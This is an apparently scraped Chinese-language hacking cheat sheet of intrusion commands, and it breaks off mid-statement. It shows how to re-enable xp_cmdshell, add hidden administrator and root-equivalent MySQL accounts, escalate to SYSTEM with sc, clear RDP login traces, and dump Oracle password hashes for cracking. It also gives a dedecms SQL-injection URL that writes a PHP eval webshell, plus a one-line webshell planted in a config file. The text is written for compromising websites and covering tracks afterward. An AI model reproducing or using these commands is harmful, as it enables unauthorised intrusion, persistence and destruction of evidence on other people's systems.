文章出处：奇迹私服资讯 www.zc218.com

roc 'xp_cmdshell'
　　恢复cmdshell的sql语句
　　exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
　　开启cmdshell的sql语句
　　exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
　　判断存储扩展是否存在
　　select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
　　返回结果为1就ok
　　恢复xp_cmdshell
　　exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
　　返回结果为1就ok
　　否则上传xplog7.0.dll
　　exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
　　堵上cmdshell的sql语句
　　sp_dropextendedproc "xp_cmdshel
　　-------------------------
　　清除3389的登录记录用一条系统自带的命令：
　　reg delete "hkcu\Software\Microsoft\Terminal Server Client"   /f
　　然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
　　在 mysql里查看当前用户的权限
　　show grants for
　　以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql，只可以本地连，对外拒绝连接。以下方法可以帮助你解决这个问题了，下面的语句功能是，建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
　　Create USER 'itpro'@'%' IDENTIFIED BY '123';
　　GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
　　MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
　　MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
　　搞完事记得删除脚印哟。
　　Drop USER 'itpro'@'%';
　　Drop DATABASE IF EXISTS `itpro` ;
　　当前用户获取system权限
　　sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
　　sc start SuperCMD
　　程序代码<SCRIPT LANGUAGE="VBScript">
　　set wsnetwork=CreateObject("WSCRIPT.NETWORK")
　　os="WinNT://"&wsnetwork.ComputerName
　　Set ob=GetObject(os)
　　Set oe=GetObject(os&"/Administrators,group")
　　Set od=ob.Create("user","nosec")
　　od.SetPassword "123456abc!@#"
　　od.SetInfo
　　Set of=GetObject(os&"/nosec",user)
　　oe.add os&"/nosec"
　　</Script>
　　<script language=javascript>window.close();</script>
　　突破验证码限制入后台拿shell
　　程序代码REGEDIT4
　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
　　"BlockXBM"=dword:00000000保存为code.reg，导入注册表，重器IE
　　就可以了
　　union写马
　　程序代码www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*应用在dedecms注射漏洞上,无后台写马
　　dedecms后台，无文件管理器，没有outfile权限的时候
　　在插件管理-病毒扫描里
　　写一句话进include/config_hand.php里
　　程序代码>';?><?php @eval($_POST[cmd]);?>
　　如上格式
　　oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
　　程序代码select username,password from dba_users;
　　mysql远程连接用户
　　程序代码
　　Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
　　GRANT ALL PRIVILEGES ON *.